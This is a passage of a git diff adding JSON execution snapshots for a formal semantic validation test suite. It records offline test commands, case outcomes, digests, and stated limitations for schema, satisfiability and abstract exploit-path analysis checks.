"raes-python-reference-offline-v29", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1069-execution-v40", + "limitations": [ + "Attribution and negative fixtures do not demonstrate non-necessity." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "satisfiable", + "analysis_profile": "raes-finite-domain-satisfiability-v1", + "case_id": "finite-domain-satisfiable-v2", + "configuration_digest": "sha256:1204635e17e759e9ad3bd6be2ecb28c6de05c07ead6dfdd15936ed5d3d5b81b2", + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": "scenario-satisfiability-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "evidence_artifact_sha256": "554202313d678046958b5c028e2de26ff03c74895cfac552677eed74e8153add", + "evidence_digest": "sha256:23c2cae7d95d4cc83d77ca576e3911477b169ecc311c977cb45490345f633b5a", + "evidence_profile": "scenario-satisfiability-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/satisfiable-control.sdl.yaml", + "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "specs/formal/scenario-satisfiability/README.md" + ], + "execution_id": "issue-1069-execution-v40", + "limitations": [ + "Demonstrates only the pinned finite-domain theory, translation, solver profile, and source." + ], + "replayable": true, + "result_digest": "sha256:23c2cae7d95d4cc83d77ca576e3911477b169ecc311c977cb45490345f633b5a", + "source_digest": "sha256:0ca9eaba9dc47171f7a042dc6753faa6c820c65ee966538f9d65fac5342202e8" + }, + { + "actual_outcome": "unsatisfiable", + "analysis_profile": "raes-finite-domain-satisfiability-v1", + "case_id": "finite-domain-unsatisfiable-v2", + "configuration_digest": "sha256:1204635e17e759e9ad3bd6be2ecb28c6de05c07ead6dfdd15936ed5d3d5b81b2", + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": "scenario-satisfiability-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "evidence_artifact_sha256": "c972725ef64822a75a60380afc11f08eac25b7fe9b091d39b058b3c9f7c8031d", + "evidence_digest": "sha256:317b5cad00aa7f4f7868dca66127611ba19d40ffd86f35815502622814df54c1", + "evidence_profile": "scenario-satisfiability-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/unsatisfiable-control.sdl.yaml", + "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "specs/formal/scenario-satisfiability/README.md" + ], + "execution_id": "issue-1069-execution-v40", + "limitations": [ + "The subset-minimal core is evidence for the pinned translation and solver, not a proof certificate for arbitrary SDL." + ], + "replayable": true, + "result_digest": "sha256:317b5cad00aa7f4f7868dca66127611ba19d40ffd86f35815502622814df54c1", + "source_digest": "sha256:cfef56a1f56d5f0db9da195377fd75694bdd0f0b92932fdb8fafcbd3f7baf6c5" + }, + { + "actual_outcome": "valid-path", + "analysis_profile": "raes-exploit-path-analysis-v1", + "case_id": "typed-exploit-path-valid-v2", + "configuration_digest": "sha256:7f8876d81feb77d3a3239be2fb8337de8885e2744f8786728ba23e4e6027bc0a", + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": "exploit-path-analysis-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "evidence_artifact_sha256": "1b7f55d04db172da32658187c64a88c13b5f4d565267ce2be7cb86a9d04cb70c", + "evidence_digest": "sha256:2d4d1a362751abd9544beb8af7f8c6331d04dac8f4abc315fb261f81fbaf4387", + "evidence_profile": "exploit-path-analysis-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/exploit-path-valid-v3.json", + "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "specs/formal/exploit-path-analysis/README.md" + ], + "execution_id": "issue-1069-execution-v40", + "limitations": [ + "The witness is bounded to the admitted snapshot, normalized graph, query, semantics, and search profile; it does not establish backend execution." + ], + "replayable": true, + "result_digest": "sha256:2d4d1a362751abd9544beb8af7f8c6331d04dac8f4abc315fb261f81fbaf4387", + "source_digest": "sha256:0afe635a63db5b6e6380ac70982fd61d09790745d51a10d670321304121e7c39" + }, + { + "actual_outcome": "invalid-path", + "analysis_profile": "raes-exploit-path-analysis-v1", + "case_id": "typed-exploit-path-invalid-v2", + "configuration_digest": "sha256:7f8876d81feb77d3a3239be2fb8337de8885e2744f8786728ba23e4e6027bc0a", + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": "exploit-path-analysis-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json", + "evidence_artifact_sha256": "244f895a64f14c10916ab0533ab462ce80a328021cd6a50c30a4aa59266d5533", + "evidence_digest": "sha256:1b416bb5a4d29d57c961b769cc9d3af5d9328624e3eebf104d57f39a94c5bb97", + "evidence_profile": "exploit-path-analysis-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/exploit-path-invalid-v3.json", + "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json", + "specs/formal/exploit-path-analysis/README.md" + ], + "execution_id": "issue-1069-execution-v40", + "limitations": [ + "Structured rejection proves only that this bounded graph/query cannot reach its goal; it does not establish real-world non-exploitability." + ], + "replayable": true, + "result_digest": "sha256:1b416bb5a4d29d57c961b769cc9d3af5d9328624e3eebf104d57f39a94c5bb97", + "source_digest": "sha256:0b2293d4a8983515ff05c516be6e6b418a4f3f09e055250a00bf15fda861aab3" + } + ], + "participant_observations": [ + { + "evidence_refs": [ + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_disclosure_is_separate_from_observable_projection", + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_cannot_be_observed_without_explicit_disclosure_rule" + ], + "execution_id": "issue-1069-execution-v40", + "limitations": [ + "Covers the reference SDL/contract path, not every backend projection." + ], + "negative_outcome": "passed", + "obligation_id": "hidden-vs-visible-projection", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_contract_declares_sem_211_classes_and_compiles_them", + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_result_rejects_success_when_preconditions_are_unresolved" + ], + "execution_id": "issue-1069-execution-v40", + "limitations": [ + "Covers declared applicability and one unresolved-precondition failure." + ], + "negative_outcome": "passed", + "obligation_id": "fail-closed-action-applicability", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_runtime_snapshot_publishes_joint_action_and_time_context_records", + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_joint_action_record_contract_rejects_unordered_conflicting_writes" + ], + "execution_id": "issue-1069-execution-v40", + "limitations": [ + "Contract evidence does not prove every backend's live concurrency fidelity." + ], + "negative_outcome": "passed", + "obligation_id": "shared-state-effects", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_accepts_supported_order_claim_strengths", + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_rejects_wall_clock_causality" + ], + "execution_id": "issue-1069-execution-v40", + "limitations": [ + "Rejecting timestamp-only causality does not supply counterfactual proof." + ], + "negative_outcome": "passed", + "obligation_id": "ordering-before-causality", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_attribution_edge_round_trips_on_terminal_observation", + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_timestamp_adjacency_cannot_be_reported_as_strong_causality" + ], + "execution_id": "issue-1069-execution-v40", + "limitations": [ + "Attribution labels disclose basis; they do not demonstrate necessity." + ], + "negative_outcome": "passed", + "obligation_id": "evidence-labeled-attribution", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_outcome_interpretation_rule_parses_and_compiles_explicit_layers", + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_local_action_success_does_not_imply_objective_success_without_rule_record" + ], + "execution_id": "issue-1069-execution-v40", + "limitations": [ + "The fixtures establish layer separation, not outcome validity in every realization." + ], + "negative_outcome": "passed", + "obligation_id": "participant-local-outcome-separation", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_realization_honesty_conformance.py::test_constructive_envelope_runs_positive_and_negative_honesty_probes", + "implementations/python/tests/test_realization_honesty_conformance.py::test_only_native_live_can_support_native_conformance" + ], + "execution_id": "issue-1069-execution-v40", + "limitations": [ + "Reference conformance evidence remains bounded to declared realization profiles." + ], + "negative_outcome": "passed", + "obligation_id": "realization-profile-honesty", + "positive_outcome": "passed" + } + ], + "protocol_revision": "2.0.0", + "raes_revision": "e4136a6e1f2fadc0fa174421532b91360aee0f73", + "source_state": { + "base_revision": "e4136a6e1f2fadc0fa174421532b91360aee0f73", + "checkout_state": "modified", + "implementation_digest": "5bcdae3f455df2cbb9e9033a9e7495c0e5eec30e96094b9daa59e2e07eb30f2f", + "profile": "python-reference-source/v2" + }, + "versions": { + "python": "3.13.13", + "raes": "5.0.0", + "z3_engine": "4.16.0", + "z3_solver": "4.16.0.0" + } +} diff --git a/docs/research/formal-semantic-validation/execution-snapshot-v41.json b/docs/research/formal-semantic-validation/execution-snapshot-v41.json new file mode 100644 index 000000000..4bd963744 --- /dev/null +++ b/docs/research/formal-semantic-validation/execution-snapshot-v41.json @@ -0,0 +1,672 @@ +{ + "baseline": { + "execution_id": "issue-1069-execution-v40", + "release_path": "docs/research/formal-semantic-validation/bundles/retest-v40.json", + "release_revision": "41.0.0", + "release_sha256": "938a6c848545bedaccf5beec5559d9cb03cb2e8a60a0b916f7c0cbf2dbd13635" + }, + "captured_at": "2026-09-21T12:49:11.719854+00:00", + "commands": [ + { + "argv": [ + "implementations/python/.venv/bin/python", + "tools/check_formal_semantic_validation.py" + ], + "command_id": "bundle-replay", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/pytest", + "-q", + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_disclosure_is_separate_from_observable_projection", + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_cannot_be_observed_without_explicit_disclosure_rule", + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_contract_declares_sem_211_classes_and_compiles_them", + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_result_rejects_success_when_preconditions_are_unresolved", + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_runtime_snapshot_publishes_joint_action_and_time_context_records", + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_joint_action_record_contract_rejects_unordered_conflicting_writes", + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_accepts_supported_order_claim_strengths", + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_rejects_wall_clock_causality", + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_attribution_edge_round_trips_on_terminal_observation", + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_timestamp_adjacency_cannot_be_reported_as_strong_causality", + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_outcome_interpretation_rule_parses_and_compiles_explicit_layers", + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_local_action_success_does_not_imply_objective_success_without_rule_record", + "implementations/python/tests/test_realization_honesty_conformance.py::test_constructive_envelope_runs_positive_and_negative_honesty_probes", + "implementations/python/tests/test_realization_honesty_conformance.py::test_only_native_live_can_support_native_conformance" + ], + "command_id": "participant-fixtures", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "satisfiability", + "docs/research/formal-semantic-validation/corpus/satisfiable-control.sdl.yaml", + "--profile", + "raes-finite-domain-satisfiability-v1" + ], + "command_id": "finite-domain-satisfiable-v2", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "satisfiability", + "docs/research/formal-semantic-validation/corpus/unsatisfiable-control.sdl.yaml", + "--profile", + "raes-finite-domain-satisfiability-v1" + ], + "command_id": "finite-domain-unsatisfiable-v2", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "exploit-path", + "docs/research/formal-semantic-validation/corpus/exploit-path-valid-v3.json", + "--profile", + "raes-exploit-path-analysis-v1" + ], + "command_id": "typed-exploit-path-valid-v2", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "exploit-path", + "docs/research/formal-semantic-validation/corpus/exploit-path-invalid-v3.json", + "--profile", + "raes-exploit-path-analysis-v1" + ], + "command_id": "typed-exploit-path-invalid-v2", + "network": "disabled" + } + ], + "configuration_id": "raes-python-reference-offline-v41", + "corpus_revision": "4.0.0", + "deviations": [ + { + "baseline": { + "actual_outcome": "accepted", + "diagnostic_kind": null, + "result_digest": "fadacf4359c97415f5433563e675d454c587917c85064b625d9756e4da1c4967" + }, + "case_id": "semantic-resolved-objective", + "category": "participant-identity-migration", + "changed_fields": [ + "result_digest" + ], + "disposition": "accepted", + "rationale": "Replay the retained control through the explicit owner/assignment model; versioned fixture successors preserve the original positive or negative intent. Original corpus and release bytes remain historical evidence.", + "retest": { + "actual_outcome": "accepted", + "diagnostic_kind": null, + "result_digest": "652288785dc09095955ed3649f6407d616fb7c4d4f4188df4ed513ccb7537e0b" + } + } + ], + "execution_id": "issue-1338-execution-v41", + "execution_status": "complete", + "observations": [ + { + "actual_outcome": "accepted", + "analysis_profile": null, + "case_id": "schema-valid-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/schema-valid.sdl.yaml" + ], + "execution_id": "issue-1338-execution-v41", + "limitations": [ + "A passing minimal source does not establish semantic correctness." + ], + "replayable": true, + "result_digest": "f7d364ef384df8a1526b489501835b635021c860793b5764f91d956710d2250c", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "schema-unknown-field", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "SDLParseError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/schema-invalid-unknown-field.sdl.yaml" + ], + "execution_id": "issue-1338-execution-v41", + "limitations": [ + "The observation covers one unknown-field defect only." + ], + "replayable": true, + "result_digest": "f55d834b458f8e069e1c69061b4cc0a6d61e0e052bf90c670f2e6a5ad8b5bd98", + "source_digest": null + }, + { + "actual_outcome": "accepted", + "analysis_profile": null, + "case_id": "semantic-resolved-objective", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-valid-participant-identity-v2.sdl.yaml" + ], + "execution_id": "issue-1338-execution-v41", + "limitations": [ + "This is a positive control for one objective-reference slice." + ], + "replayable": true, + "result_digest": "652288785dc09095955ed3649f6407d616fb7c4d4f4188df4ed513ccb7537e0b", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "semantic-dangling-assertion", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-invalid-dangling-ref-participant-identity-v2.sdl.yaml" + ], + "execution_id": "issue-1338-execution-v41", + "limitations": [ + "A single dangling reference does not prove complete semantic coverage." + ], + "replayable": true, + "result_digest": "0207cf616b56708ca9b8c4499d3301abe22dbe52162cf8d58d3bec429d9db024", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "semantic-ambiguous-reference", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-invalid-ambiguous-ref.sdl.yaml" + ], + "execution_id": "issue-1338-execution-v41", + "limitations": [ + "One namespace collision does not enumerate every ambiguity surface." + ], + "replayable": true, + "result_digest": "9da4a87797d228e0012ab6b30459f4892e41aa6f224a9840be035fee4a2eea73", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "semantic-feature-cycle", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-invalid-feature-cycle.sdl.yaml" + ], + "execution_id": "issue-1338-execution-v41", + "limitations": [ + "One static dependency cycle does not establish general constraint satisfiability." + ], + "replayable": true, + "result_digest": "d15dbcd99fb4f20b965d7031b07dd6534576302270399c3fa656d29e7de02b83", + "source_digest": null + }, + { + "actual_outcome": "accepted", + "analysis_profile": null, + "case_id": "workflow-reachable-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/workflow-reachable.sdl.yaml" + ], + "execution_id": "issue-1338-execution-v41", + "limitations": [ + "The graph is workflow control flow only." + ], + "replayable": true, + "result_digest": "b1b49649b54bd59d4ef357b39cf9158da90f4eae560f8dd756acf97bd0827a06", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "workflow-unreachable-step", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/workflow-unreachable.sdl.yaml" + ], + "execution_id": "issue-1338-execution-v41", + "limitations": [ + "The result does not establish network, service, participant, or exploit reachability." + ], + "replayable": true, + "result_digest": "bb931d19346ef9193408ae6c85deb4079704378fc5f00dc5f47a2817cff21943", + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "whole-scenario-satisfiable-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1338-execution-v41", + "limitations": [ + "No governed whole-scenario constraint theory or solver exists." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "whole-scenario-unsatisfiable-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1338-execution-v41", + "limitations": [ + "Local checks cannot produce a whole-scenario unsat certificate." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "valid-exploit-path-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1338-execution-v41", + "limitations": [ + "The issue-168 baseline had no canonical typed attack graph or path-query entrypoint." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "invalid-exploit-path-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1338-execution-v41", + "limitations": [ + "Vulnerability and topology declarations are not an invalid-path proof." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "stable", + "analysis_profile": null, + "case_id": "compile-repeatability-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/determinism-a.sdl.yaml" + ], + "execution_id": "issue-1338-execution-v41", + "limitations": [ + "The witness ends at compiled output." + ], + "replayable": true, + "result_digest": "11264a648a949917c0e84a2a1e5d116139a35e6cb941844735a422df95141d6c", + "source_digest": null + }, + { + "actual_outcome": "distinguishable", + "analysis_profile": null, + "case_id": "compile-non-vacuity-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/determinism-a.sdl.yaml", + "docs/research/formal-semantic-validation/corpus/determinism-b.sdl.yaml" + ], + "execution_id": "issue-1338-execution-v41", + "limitations": [ + "Distinct digests are a non-vacuity control, not semantic non-equivalence proof." + ], + "replayable": true, + "result_digest": "72c1ee8c7bbc1f970216fa232b3d4ae917bcb003bd823439bbac8a5db94214e2", + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "necessity-witness-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1338-execution-v41", + "limitations": [ + "No governed intervention or ablation protocol exists." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "non-necessity-control-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1338-execution-v41", + "limitations": [ + "Attribution and negative fixtures do not demonstrate non-necessity." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "satisfiable", + "analysis_profile": "raes-finite-domain-satisfiability-v1", + "case_id": "finite-domain-satisfiable-v2", + "configuration_digest": "sha256:1204635e17e759e9ad3bd6be2ecb28c6de05c07ead6dfdd15936ed5d3d5b81b2", + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "scenario-satisfiability-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "evidence_artifact_sha256": "554202313d678046958b5c028e2de26ff03c74895cfac552677eed74e8153add", + "evidence_digest": "sha256:23c2cae7d95d4cc83d77ca576e3911477b169ecc311c977cb45490345f633b5a", + "evidence_profile": "scenario-satisfiability-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/satisfiable-control.sdl.yaml", + "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "specs/formal/scenario-satisfiability/README.md" + ], + "execution_id": "issue-1338-execution-v41", + "limitations": [ + "Demonstrates only the pinned finite-domain theory, translation, solver profile, and source." + ], + "replayable": true, + "result_digest": "sha256:23c2cae7d95d4cc83d77ca576e3911477b169ecc311c977cb45490345f633b5a", + "source_digest": "sha256:0ca9eaba9dc47171f7a042dc6753faa6c820c65ee966538f9d65fac5342202e8" + }, + { + "actual_outcome": "unsatisfiable", + "analysis_profile": "raes-finite-domain-satisfiability-v1", + "case_id": "finite-domain-unsatisfiable-v2", + "configuration_digest": "sha256:1204635e17e759e9ad3bd6be2ecb28c6de05c07ead6dfdd15936ed5d3d5b81b2", + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "scenario-satisfiability-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "evidence_artifact_sha256": "c972725ef64822a75a60380afc11f08eac25b7fe9b091d39b058b3c9f7c8031d", + "evidence_digest": "sha256:317b5cad00aa7f4f7868dca66127611ba19d40ffd86f35815502622814df54c1", + "evidence_profile": "scenario-satisfiability-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/unsatisfiable-control.sdl.yaml", + "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "specs/formal/scenario-satisfiability/README.md" + ], + "execution_id": "issue-1338-execution-v41", + "limitations": [ + "The subset-minimal core is evidence for the pinned translation and solver, not a proof certificate for arbitrary SDL." + ], + "replayable": true, + "result_digest": "sha256:317b5cad00aa7f4f7868dca66127611ba19d40ffd86f35815502622814df54c1", + "source_digest": "sha256:cfef56a1f56d5f0db9da195377fd75694bdd0f0b92932fdb8fafcbd3f7baf6c5" + }, + { + "actual_outcome": "valid-path", + "analysis_profile": "raes-exploit-path-analysis-v1", + "case_id": "typed-exploit-path-valid-v2", + "configuration_digest": "sha256:7f8876d81feb77d3a3239be2fb8337de8885e2744f8786728ba23e4e6027bc0a", + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "exploit-path-analysis-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "evidence_artifact_sha256": "1b7f55d04db172da32658187c64a88c13b5f4d565267ce2be7cb86a9d04cb70c", + "evidence_digest": "sha256:2d4d1a362751abd9544beb8af7f8c6331d04dac8f4abc315fb261f81fbaf4387", + "evidence_profile": "exploit-path-analysis-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/exploit-path-valid-v3.json", + "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "specs/formal/exploit-path-analysis/README.md" + ], + "execution_id": "issue-1338-execution-v41", + "limitations": [ + "The witness is bounded to the admitted snapshot, normalized graph, query, semantics, and search profile; it does not establish backend execution." + ], + "replayable": true, + "result_digest": "sha256:2d4d1a362751abd9544beb8af7f8c6331d04dac8f4abc315fb261f81fbaf4387", + "source_digest": "sha256:0afe635a63db5b6e6380ac70982fd61d09790745d51a10d670321304121e7c39" + }, + { + "actual_outcome": "invalid-path", + "analysis_profile": "raes-exploit-path-analysis-v1", + "case_id": "typed-exploit-path-invalid-v2", + "configuration_digest": "sha256:7f8876d81feb77d3a3239be2fb8337de8885e2744f8786728ba23e4e6027bc0a", + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "exploit-path-analysis-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json", + "evidence_artifact_sha256": "244f895a64f14c10916ab0533ab462ce80a328021cd6a50c30a4aa59266d5533", + "evidence_digest": "sha256:1b416bb5a4d29d57c961b769cc9d3af5d9328624e3eebf104d57f39a94c5bb97", + "evidence_profile": "exploit-path-analysis-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/exploit-path-invalid-v3.json", + "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json", + "specs/formal/exploit-path-analysis/README.md" + ], + "execution_id": "issue-1338-execution-v41", + "limitations": [ + "Structured rejection proves only that this bounded graph/query cannot reach its goal; it does not establish real-world non-exploitability." + ], + "replayable": true, + "result_digest": "sha256:1b416bb5a4d29d57c961b769cc9d3af5d9328624e3eebf104d57f39a94c5bb97", + "source_digest": "sha256:0b2293d4a8983515ff05c516be6e6b418a4f3f09e055250a00bf15fda861aab3" + } + ], + "participant_observations": [ + { + "evidence_refs": [ + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_disclosure_is_separate_from_observable_projection", + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_cannot_be_observed_without_explicit_disclosure_rule" + ], + "execution_id": "issue-1338-execution-v41", + "limitations": [ + "Covers the reference SDL/contract path, not every backend projection." + ], + "negative_outcome": "passed", + "obligation_id": "hidden-vs-visible-projection", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_contract_declares_sem_211_classes_and_compiles_them", + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_result_rejects_success_when_preconditions_are_unresolved" + ], + "execution_id": "issue-1338-execution-v41", + "limitations": [ + "Covers declared applicability and one unresolved-precondition failure." + ], + "negative_outcome": "passed", + "obligation_id": 